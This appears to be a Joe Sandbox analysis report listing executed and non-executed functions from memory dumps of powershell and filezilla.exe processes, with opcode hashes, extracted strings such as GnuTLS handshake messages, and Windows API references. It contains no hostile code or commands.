Instruction Fuzzy Hash: EFD05E237021310715D825BA2C1467BA6CECAC44A7715023A9A2CCB242FD40CC0193F3

Function 06D7DEA8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1775384352.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction ID: d4f4bf4fd2879d74bc4f2fb24220714ab3016ff7cc429a7ca818199d7cad119c
Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction Fuzzy Hash: 35E08635B000549BCB489669D4105D9F7BADFCC220F04807AD94AA7340DA32991686E1

Function 06D7DE58 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1775384352.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3482feeb39c16ce32b3b8ce2eeecb820a89eb8af834938983dfb96e7e613726
Instruction ID: 20c700726e80bde6e88d72070a6bf2c41f4816555e9f6689687c47a2f2282c71
Opcode Fuzzy Hash: e3482feeb39c16ce32b3b8ce2eeecb820a89eb8af834938983dfb96e7e613726
Instruction Fuzzy Hash: F7E0C232700714478252671EA81089FB7EBDEC59B9304842EE08ACB300EEA0EC0187E7

Function 06D78801 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1775384352.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fa7bc6dbe469d143e73de5e879a91ced493d1fdbdba0027e06b68671333e344
Instruction ID: 672441abb7df27a2c457d378a68d8460a1c36192ccc90efd0aa2199583219a6f
Opcode Fuzzy Hash: 4fa7bc6dbe469d143e73de5e879a91ced493d1fdbdba0027e06b68671333e344
Instruction Fuzzy Hash: D2E012349182899FCB48DB78D48586ABFF0FF46214B04429DD9459F252E6704945DB81

Function 06D78738 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1775384352.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a93322afb8f0cf69358602d3e56280d95bbe6f4f357a4ea6ae6ffc294180c1a
Instruction ID: 5097d0fb9042017c9aa329a170700062131d0791fb1f6a1754c2077c9d08237e
Opcode Fuzzy Hash: 2a93322afb8f0cf69358602d3e56280d95bbe6f4f357a4ea6ae6ffc294180c1a
Instruction Fuzzy Hash: 9FE0DF32C0814D9BCB09ABB4E45A4EEBFB0FE10304B4002EDD9871A083EA604A4ACBC1

Function 06D7F620 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1775384352.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b765338443f4f35e8ef9ce1175f17a2fbbf329fcbd1f8e43f74567d7aa5b3d31
Instruction ID: 69d3c45990df276dd4850d9afafae7deefa4d245832881bc6a1489fe2477d9f5
Opcode Fuzzy Hash: b765338443f4f35e8ef9ce1175f17a2fbbf329fcbd1f8e43f74567d7aa5b3d31
Instruction Fuzzy Hash: DCE04FB0D4414A9F8780DFBC84415ADFFF0EB49200F2085AAC958D3312E3328A12CFD1

Function 06D7F630 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1775384352.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: 0c8735fa646d6ea5779b6c47d9217ba04e2e5859d58e5d802e4ea6f72319e762
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: DED067B1D042099F8780EFADC94156EFBF4EB48204F6085AA8919E7311F7329A128BD1

Function 06D78748 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1775384352.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01aba00de871c771742b379faa51224430414e47596fb61c513d380f7572476e
Instruction ID: d146314db4a3278ad193ad9859b4fc819f964863b6f5c7f2314a50a646bb13c5
Opcode Fuzzy Hash: 01aba00de871c771742b379faa51224430414e47596fb61c513d380f7572476e
Instruction Fuzzy Hash: BFD01732C0411D8BCB08ABA4E81A4FDBF34FA00305F4001ADD91756591EA701A4ADBC1

Function 06D78810 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1775384352.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b178d3a6179a11c7163ed25f23a845e5545f6fe267bf9ac88f7f20e3142af38a
Instruction ID: bf6699302720a94a563026058427bcd68a8ffffe6b4c47cbc3849c4e3016c913
Opcode Fuzzy Hash: b178d3a6179a11c7163ed25f23a845e5545f6fe267bf9ac88f7f20e3142af38a
Instruction Fuzzy Hash: 29D01735E0820E8F8B48EFA4E84A86EBFB4EB48205F0041A9DD4997380EA309D01DBC1

Function 06D77EA0 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1775384352.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 858bff54d27fa8b787c4be5cd01683932db507bf3397aef15f77629c7ad7bc1a
Instruction ID: 4f3442181ff6e71364880d5687c9bfac362255bdf715cd49fb5642a153700b82
Opcode Fuzzy Hash: 858bff54d27fa8b787c4be5cd01683932db507bf3397aef15f77629c7ad7bc1a
Instruction Fuzzy Hash: A4C04C12A8E3E50FDF1AD734082D9AA3F711E5720131D94DB8182CF2B6D9248805D791

Function 06D77938 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1775384352.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76ed894d7de8915c6cb536ded91e9842cad72c47df2a5855115b6d21444dfff6
Instruction ID: 9234f89662a9f37cecafe77ab64a848ff7d4581df43e4103aa49e4db97173423
Opcode Fuzzy Hash: 76ed894d7de8915c6cb536ded91e9842cad72c47df2a5855115b6d21444dfff6
Instruction Fuzzy Hash: 1DC08C30045709CF86086FB990085183329EF80B2A34008ACF029062CA5F32E440CE84

Function 06D77940 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1775384352.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75cda230c47c5082288256b22b1634eccd39fd9a1f15244ea7801c2de273a589
Instruction ID: 48234e6efa6c386225b4185ca5a2fd8f2e53e76c16fc48432776208f9a612056
Opcode Fuzzy Hash: 75cda230c47c5082288256b22b1634eccd39fd9a1f15244ea7801c2de273a589
Instruction Fuzzy Hash: C0B09230089708CFC248AF79A408A187769FE4462A38104ACE40A0B6D68F36E880CA58

Non-executed Functions

Function 08A03AA8 Relevance: 6.6, Strings: 5, Instructions: 373COMMON

Download Yara Rule

Strings

kUKl^, xrefs: 08A03C50
[UKl^, xrefs: 08A03BE2
{UKl^, xrefs: 08A03CBE
;UKl^, xrefs: 08A03B06
KUKl^, xrefs: 08A03B74

Memory Dump Source

Source File: 0000000A.00000002.1793166455.0000000008A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8a00000_powershell.jbxd

Similarity

API ID:
String ID: ;UKl^$KUKl^$[UKl^$kUKl^${UKl^
API String ID: 0-4265393240
Opcode ID: e5b7d9f34d7e5ce243f668bd97856f704d309ee3367268ccb778fec076bafbd0
Instruction ID: 3d9fd4108d163f9e648f90eadeb5b3060a22a11cb036e917406670b3221c8019
Opcode Fuzzy Hash: e5b7d9f34d7e5ce243f668bd97856f704d309ee3367268ccb778fec076bafbd0
Instruction Fuzzy Hash: A8E157707002059FDB14DF69D944BAABBF1EF48705F108A6DE406CB3A1EB72E946CB91

Function 07713928 Relevance: 12.8, Strings: 10, Instructions: 325COMMON

Download Yara Rule

Strings

$q, xrefs: 0771396C
l, xrefs: 07713A0F
$q, xrefs: 07713C0E
$q, xrefs: 07713960
tPq, xrefs: 077139B1
4'q, xrefs: 07713B29
4'q, xrefs: 07713B35
l, xrefs: 07713A1D
tPq, xrefs: 077139A5
$q, xrefs: 0771393A

Memory Dump Source

Source File: 0000000A.00000002.1785762862.0000000007710000.00000040.00000800.00020000.00000000.sdmp, Offset: 07710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7710000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$tPq$tPq$$q$$q$$q$$q$l$l
API String ID: 0-1278024393
Opcode ID: 7b42dd3da958ae02e02a5e00602483e1df8a77917caccfe36ae34f939cd6cd2e
Instruction ID: 1f38e45c405472df64a72d5981bf868604a471c97d9a5d01701fb0c650a21a94
Opcode Fuzzy Hash: 7b42dd3da958ae02e02a5e00602483e1df8a77917caccfe36ae34f939cd6cd2e
Instruction Fuzzy Hash: D9A188B13043169FD7249E6C8811B76BBB2AFC6691F1884ABE446CB392DA31CC42C761

Function 07710FA1 Relevance: 11.4, Strings: 9, Instructions: 197COMMON

Download Yara Rule

Strings

$q, xrefs: 07711229
$q, xrefs: 07711081
`Qq, xrefs: 07711153
`Qq, xrefs: 077110ED
$q, xrefs: 07711253
$q, xrefs: 07711044
$q, xrefs: 07711065
tPq, xrefs: 07711127
fq, xrefs: 077110A2

Memory Dump Source

Source File: 0000000A.00000002.1785762862.0000000007710000.00000040.00000800.00020000.00000000.sdmp, Offset: 07710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7710000_powershell.jbxd

Similarity

API ID:
String ID: fq$`Qq$`Qq$tPq$$q$$q$$q$$q$$q
API String ID: 0-1290391743
Opcode ID: 35e310e91865eac37fa417563f33b409919c30daf20395ea8004b99ef3a07d02
Instruction ID: 7535d56f4ce3c33ab42ec6fe7edfb8261a938230f67a76c30519f16536e2fef4
Opcode Fuzzy Hash: 35e310e91865eac37fa417563f33b409919c30daf20395ea8004b99ef3a07d02
Instruction Fuzzy Hash: D671C2B0A1420EDFDB24CE4CC544BAAB7F2BF45381F998895EA019F291C775DD81CBA1

Function 07713678 Relevance: 8.9, Strings: 7, Instructions: 190COMMON

Download Yara Rule

Strings

l, xrefs: 0771387B
$q, xrefs: 07713836
$q, xrefs: 077137FF
$q, xrefs: 0771382A
l, xrefs: 0771386D
4'q, xrefs: 0771372E
4'q, xrefs: 07713722

Memory Dump Source

Source File: 0000000A.00000002.1785762862.0000000007710000.00000040.00000800.00020000.00000000.sdmp, Offset: 07710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7710000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$$q$$q$$q$l$l
API String ID: 0-579548384
Opcode ID: 80599116040b1b2c926739e339bc45d891dcb18524a6691e331ae519276f3468
Instruction ID: 1102f00cfdf042d45a73436940866d24e1a93e678738d3fe45ca069029ba4f0a
Opcode Fuzzy Hash: 80599116040b1b2c926739e339bc45d891dcb18524a6691e331ae519276f3468
Instruction Fuzzy Hash: C65169F17043469FDB255B7D8810766BBB2AFC36A1F28847BD485CB641DB35C882C7A1

Function 07715BF8 Relevance: 7.9, Strings: 6, Instructions: 428COMMON

Download Yara Rule

Strings

4'q, xrefs: 07715F08
4'q, xrefs: 0771605D
4'q, xrefs: 07716069
4'q, xrefs: 07715EFE
4'q, xrefs: 07715D2D
4'q, xrefs: 07715D37

Memory Dump Source

Source File: 0000000A.00000002.1785762862.0000000007710000.00000040.00000800.00020000.00000000.sdmp, Offset: 07710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7710000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$4'q$4'q$4'q$4'q
API String ID: 0-1794337482
Opcode ID: 3e2adb4f6b6200c2c1d44d91cc72c500c6a2efac52cc571544a762ed93d2f98f
Instruction ID: ecd58aa3900510a0565977a1858703339c3679e74d1a3c174eb22cf2fd40cc9a
Opcode Fuzzy Hash: 3e2adb4f6b6200c2c1d44d91cc72c500c6a2efac52cc571544a762ed93d2f98f
Instruction Fuzzy Hash: 86D137F1B043168FCB298F6C841576ABBB29FC2291F18C4BAD545DF251DB31C962C7A2

Function 07711BE0 Relevance: 7.9, Strings: 6, Instructions: 416COMMON

Download Yara Rule

Strings

tPq, xrefs: 07711FDF
4'q, xrefs: 07711C86
tPq, xrefs: 07711FEB
4'q, xrefs: 07711F95
4'q, xrefs: 07711C92
4'q, xrefs: 07711F89

Memory Dump Source

Source File: 0000000A.00000002.1785762862.0000000007710000.00000040.00000800.00020000.00000000.sdmp, Offset: 07710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7710000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$4'q$4'q$tPq$tPq
API String ID: 0-3271992745
Opcode ID: bb5db0697790ece12ea0263bca27206dfd5780ba9fc942119f4c70bc32c36745
Instruction ID: 24be9f86a8895cb566e87621cd58e21571021b28201f1eea146bf22ba44bcb45
Opcode Fuzzy Hash: bb5db0697790ece12ea0263bca27206dfd5780ba9fc942119f4c70bc32c36745
Instruction Fuzzy Hash: 34D17BB1B0430A8FD7248B6C94007AABBB6AFC6251F58C4BBC645DF242DB31C856C7A1

Function 06D77A20 Relevance: 5.2, Strings: 4, Instructions: 239COMMON

Download Yara Rule

Strings

`q, xrefs: 06D77C44
`q, xrefs: 06D77B23
`q, xrefs: 06D77CC2
`q, xrefs: 06D77BA2

Memory Dump Source

Source File: 0000000A.00000002.1775384352.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d70000_powershell.jbxd

Similarity

API ID:
String ID: `q$`q$`q$`q
API String ID: 0-10485352
Opcode ID: 5161090bcb34c542efb19436ee7d13e844643bae0dff36479179935442db417b
Instruction ID: 1b95a1de6a3625027e77883c05f4575fd5f0ee79991880c0c6aa9f610f949cd8
Opcode Fuzzy Hash: 5161090bcb34c542efb19436ee7d13e844643bae0dff36479179935442db417b
Instruction Fuzzy Hash: 52B1B274E012099FDB54DFA9D890A9DFBF2FF89304F108629D859AB304EB70A945CF91

Function 06D77A30 Relevance: 5.2, Strings: 4, Instructions: 234COMMON

Download Yara Rule

Strings

`q, xrefs: 06D77C44
`q, xrefs: 06D77B23
`q, xrefs: 06D77CC2
`q, xrefs: 06D77BA2

Memory Dump Source

Source File: 0000000A.00000002.1775384352.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d70000_powershell.jbxd

Similarity

API ID:
String ID: `q$`q$`q$`q
API String ID: 0-10485352
Opcode ID: 3c067f12d3974d6006b2d02ebcd22dd26db277746abb5bd7545d8cf10a3ccf25
Instruction ID: 1776226c81655f763f4749ce0e410cf7f1ec834273e355c9afa3a4eeca112384
Opcode Fuzzy Hash: 3c067f12d3974d6006b2d02ebcd22dd26db277746abb5bd7545d8cf10a3ccf25
Instruction Fuzzy Hash: 6BB1A374E012099FDB54DFA9D890A9DFBF2FF89304F108629D819AB314EB70A945CF91

Function 06D74C05 Relevance: 5.1, Strings: 4, Instructions: 117COMMON

Download Yara Rule

Strings

Kl^, xrefs: 06D74D32
Kl^, xrefs: 06D74CD2
Kl^, xrefs: 06D74C82
Kl^, xrefs: 06D74C92

Memory Dump Source

Source File: 0000000A.00000002.1775384352.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d70000_powershell.jbxd

Similarity

API ID:
String ID: Kl^$Kl^$Kl^$Kl^
API String ID: 0-3702262307
Opcode ID: 01acdd6942f4f4fc8456e7fc49e0a4aadb81b57300e9eb9cbbb6b77daf107080
Instruction ID: 9d964028195221ec826c10549c8afb6605be8a3e7d152abb27094e07e01e3c62
Opcode Fuzzy Hash: 01acdd6942f4f4fc8456e7fc49e0a4aadb81b57300e9eb9cbbb6b77daf107080
Instruction Fuzzy Hash: 5A41D21201E3D11FD30B972858B42D17FB0AF53298B5E81DBC0D98F5A3D818489AC7AB

Function 077138AF Relevance: 5.1, Strings: 4, Instructions: 115COMMON

Download Yara Rule

Strings

$q, xrefs: 0771396C
$q, xrefs: 07713960
tPq, xrefs: 077139A5
$q, xrefs: 0771393A

Memory Dump Source

Source File: 0000000A.00000002.1785762862.0000000007710000.00000040.00000800.00020000.00000000.sdmp, Offset: 07710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7710000_powershell.jbxd

Similarity

API ID:
String ID: tPq$$q$$q$$q
API String ID: 0-1877126541
Opcode ID: d90f22418b2cc88796cc5e229d5ec5dd33dbc4934f6f15752d9cbb2005fe8fde
Instruction ID: e619231799e863688875525019ee8f7e992a86233c9a9298b79ff7b7a3d06ff1
Opcode Fuzzy Hash: d90f22418b2cc88796cc5e229d5ec5dd33dbc4934f6f15752d9cbb2005fe8fde
Instruction Fuzzy Hash: 3E316DB22093819FE7264B2C88116B57FB1AF83AA5B1D44DBD444CF2A3CA358C45C762

Function 07715798 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$q, xrefs: 077157AA
$q, xrefs: 077157C6
$q, xrefs: 077157F4
$q, xrefs: 07715800

Memory Dump Source

Source File: 0000000A.00000002.1785762862.0000000007710000.00000040.00000800.00020000.00000000.sdmp, Offset: 07710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7710000_powershell.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q
API String ID: 0-4102054182
Opcode ID: 6c3476cf62074770c2061b0facc883568e50a331fe5a946f0a8427d5e224211f
Instruction ID: 2e14a4aedb2bdc306391ed7509cc1a07487325078830ac602b4a0d05f3cef924
Opcode Fuzzy Hash: 6c3476cf62074770c2061b0facc883568e50a331fe5a946f0a8427d5e224211f
Instruction Fuzzy Hash: 582168B17003169BEB3C592E8801737B7D79BC5696F64883AE505DB781DD75C9518320

Function 07710309 Relevance: 5.0, Strings: 4, Instructions: 48COMMON

Download Yara Rule

Strings

4'q, xrefs: 07710373
4'q, xrefs: 0771037F
$q, xrefs: 07710352
$q, xrefs: 0771035E

Memory Dump Source

Source File: 0000000A.00000002.1785762862.0000000007710000.00000040.00000800.00020000.00000000.sdmp, Offset: 07710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7710000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$$q$$q
API String ID: 0-3199993180
Opcode ID: f0be99efb40aa29690c1572ff826b41125835e4fcfc21bbf805d0947c415d7e4
Instruction ID: b8bb77de58c2cae4a56b50fa59a368107672b32131d84f2cf5bb1e8857f5c1cc
Opcode Fuzzy Hash: f0be99efb40aa29690c1572ff826b41125835e4fcfc21bbf805d0947c415d7e4
Instruction Fuzzy Hash: B101F2A270C7864FDB3B127808352292FB25F8349175E81EBC081DF297C9648C86C367

Analysis Process: filezilla.exePID: 3688, Parent PID: 8120COMMON

Execution Graph

Execution Coverage:	3.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.8%
Total number of Nodes:	587
Total number of Limit Nodes:	10

Executed Functions

Function 00007FF81FA00260 Relevance: 52.4, APIs: 2, Strings: 27, Instructions: 1616COMMON

Download Yara Rule

Strings

HSK[%p]: unsupported cipher suite %.2X.%.2X was negotiated, xrefs: 00007FF81FA01590
recv_hello_verify_request, xrefs: 00007FF81FA00BFD, 00007FF81FA0108D, 00007FF81FA01110
, xrefs: 00007FF81FA01C87
_gnutls_set_server_random, xrefs: 00007FF81FA013E4
handshake.c, xrefs: 00007FF81FA002F5, 00007FF81FA0091F, 00007FF81FA00998, 00007FF81FA009C1, 00007FF81FA00C09, 00007FF81FA00C31, 00007FF81FA00C6F, 00007FF81FA00CFB, 00007FF81FA00D40, 00007FF81FA00FF1, 00007FF81FA01021, 00007FF81FA0109A, 00007FF81FA0111D, 00007FF81FA01186, 00007FF81FA011BF, 00007FF81FA013F0, 00007FF81FA01420, 00007FF81FA015B9, 00007FF81FA018F7, 00007FF81FA019AE, 00007FF81FA01C52, 00007FF81FA01D54, 00007FF81FA01D84, 00007FF81FA01DB0, 00007FF81FA01DE0, 00007FF81FA01EBD
session->security_parameters.entity == GNUTLS_CLIENT, xrefs: 00007FF81FA00EAA
check_if_null_comp_present, xrefs: 00007FF81FA01DA4
client_check_if_resuming, xrefs: 00007FF81FA01EB6
HSK[%p]: Client's version: %d.%d, xrefs: 00007FF81FA019DC
read_client_hello, xrefs: 00007FF81FA018F0, 00007FF81FA019A2, 00007FF81FA01C46, 00007FF81FA01D75, 00007FF81FA01DD1
HSK[%p]: PRF of ciphersuite differs with the PSK identity (cs: %s, id: %s), xrefs: 00007FF81FA01628
ASSERT: %s[%s]:%d, xrefs: 00007FF81FA00301, 00007FF81FA0092B, 00007FF81FA009A4, 00007FF81FA009CD, 00007FF81FA00BF6, 00007FF81FA00C5C, 00007FF81FA00D07, 00007FF81FA00D4F, 00007FF81FA00FD8, 00007FF81FA0102D, 00007FF81FA01081, 00007FF81FA01104, 00007FF81FA0116D, 00007FF81FA011AC, 00007FF81FA013DD, 00007FF81FA015C5, 00007FF81FA01903, 00007FF81FA019BB, 00007FF81FA01C5F, 00007FF81FA01D41, 00007FF81FA01D9D, 00007FF81FA01EC9
HSK[%p]: Server's version: %d.%d, xrefs: 00007FF81FA00F56
set_client_ciphersuite, xrefs: 00007FF81FA00CF4, 00007FF81FA015B2
handshake.h, xrefs: 00007FF81FA00EA3
read_server_hello, xrefs: 00007FF81FA00C63, 00007FF81FA00FE4, 00007FF81FA01179, 00007FF81FA011B3, 00007FF81FA01411
BUF[HSK]: Emptied buffer, xrefs: 00007FF81FA00F99
HSK[%p]: SessionID length: %d, xrefs: 00007FF81FA0132F
DOWNGRD, xrefs: 00007FF81FA00EF6
Detected downgrade to TLS 1.2 from TLS 1.3, xrefs: 00007FF81FA013BC
Detected downgrade to TLS 1.1 or earlier from TLS 1.3, xrefs: 00007FF81FA00F0D
HSK[%p]: Cannot find the appropriate handler for the KX algorithm, xrefs: 00007FF81FA01E91
_gnutls_generate_session_id, xrefs: 00007FF81FA01D48
HSK[%p]: SessionID: %s, xrefs: 00007FF81FA01373
HSK[%p]: Selected cipher suite: %s, xrefs: 00007FF81FA010BE
HSK[%p]: Selected version %s, xrefs: 00007FF81FA01D1E
_gnutls_recv_handshake, xrefs: 00007FF81FA002EE, 00007FF81FA00918, 00007FF81FA00991, 00007FF81FA009BA, 00007FF81FA00C2A, 00007FF81FA00D30, 00007FF81FA0101A

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID:
String ID: $ASSERT: %s[%s]:%d$BUF[HSK]: Emptied buffer$DOWNGRD$Detected downgrade to TLS 1.1 or earlier from TLS 1.3$Detected downgrade to TLS 1.2 from TLS 1.3$HSK[%p]: Cannot find the appropriate handler for the KX algorithm$HSK[%p]: Client's version: %d.%d$HSK[%p]: PRF of ciphersuite differs with the PSK identity (cs: %s, id: %s)$HSK[%p]: Selected cipher suite: %s$HSK[%p]: Selected version %s$HSK[%p]: Server's version: %d.%d$HSK[%p]: SessionID length: %d$HSK[%p]: SessionID: %s$HSK[%p]: unsupported cipher suite %.2X.%.2X was negotiated$_gnutls_generate_session_id$_gnutls_recv_handshake$_gnutls_set_server_random$check_if_null_comp_present$client_check_if_resuming$handshake.c$handshake.h$read_client_hello$read_server_hello$recv_hello_verify_request$session->security_parameters.entity == GNUTLS_CLIENT$set_client_ciphersuite
API String ID: 0-130516691
Opcode ID: 3dff477d943b8b9921df2fb3f4c67cd0a8569f54e263e35ef5a4e160e570898c
Instruction ID: a67d2e19d72620d84a571628c44976b9685fd7cc2c48384f857f253162beaa89
Opcode Fuzzy Hash: 3dff477d943b8b9921df2fb3f4c67cd0a8569f54e263e35ef5a4e160e570898c
Instruction Fuzzy Hash: 83036772A0CE8286E7248B11E4462BA7BA1FF457ECF448336DA8E46695DF3CF544CB41

Function 00007FF81FA0C7C0 Relevance: 49.9, APIs: 5, Strings: 23, Instructions: 947COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF81FA5BF70: EnterCriticalSection.KERNEL32(00000000,00000000,00000000,00007FF81FA0DD92), ref: 00007FF81FA5BF95
Part of subcall function 00007FF81FA5BF70: LeaveCriticalSection.KERNEL32 ref: 00007FF81FA5BFB5

Part of subcall function 00007FF81FA5AFD0: strlen.MSVCRT ref: 00007FF81FA5B00C
Part of subcall function 00007FF81FA5AFD0: memcpy.MSVCRT ref: 00007FF81FA5B0CA
Part of subcall function 00007FF81FA5AFD0: CreateFileA.KERNEL32 ref: 00007FF81FA5B0FE
Part of subcall function 00007FF81FA5AFD0: strchr.MSVCRT ref: 00007FF81FA5B14B
Part of subcall function 00007FF81FA5AFD0: strchr.MSVCRT ref: 00007FF81FA5B161
Part of subcall function 00007FF81FA5AFD0: FindFirstFileA.KERNEL32 ref: 00007FF81FA5B179

exit.MSVCRT ref: 00007FF81FA0CC52
fclose.MSVCRT ref: 00007FF81FA0CC77

Strings

cfg_versions_set_array, xrefs: 00007FF81FA0D6B1
ASSERT: %s[%s]:%d, xrefs: 00007FF81FA0CBAC, 00007FF81FA0D0BD, 00007FF81FA0D0E8, 00007FF81FA0D2AF, 00007FF81FA0D346, 00007FF81FA0D407, 00007FF81FA0D4A2, 00007FF81FA0D5DF, 00007FF81FA0D66F, 00007FF81FA0D6C4, 00007FF81FA0D757, 00007FF81FA0D884, 00007FF81FA0DA5E
_cfg_ecc_curves_remark, xrefs: 00007FF81FA0D75E
_cfg_versions_remark, xrefs: 00007FF81FA0D676
_gnutls_update_system_priorities, xrefs: 00007FF81FA0CB99, 00007FF81FA0D0AA, 00007FF81FA0D0EF, 00007FF81FA0D11B, 00007FF81FA0D4A9, 00007FF81FA0D871
cfg: unable to build priority string: %s, xrefs: 00007FF81FA0D20E
cfg: system priority %s has not changed, xrefs: 00007FF81FA0D484
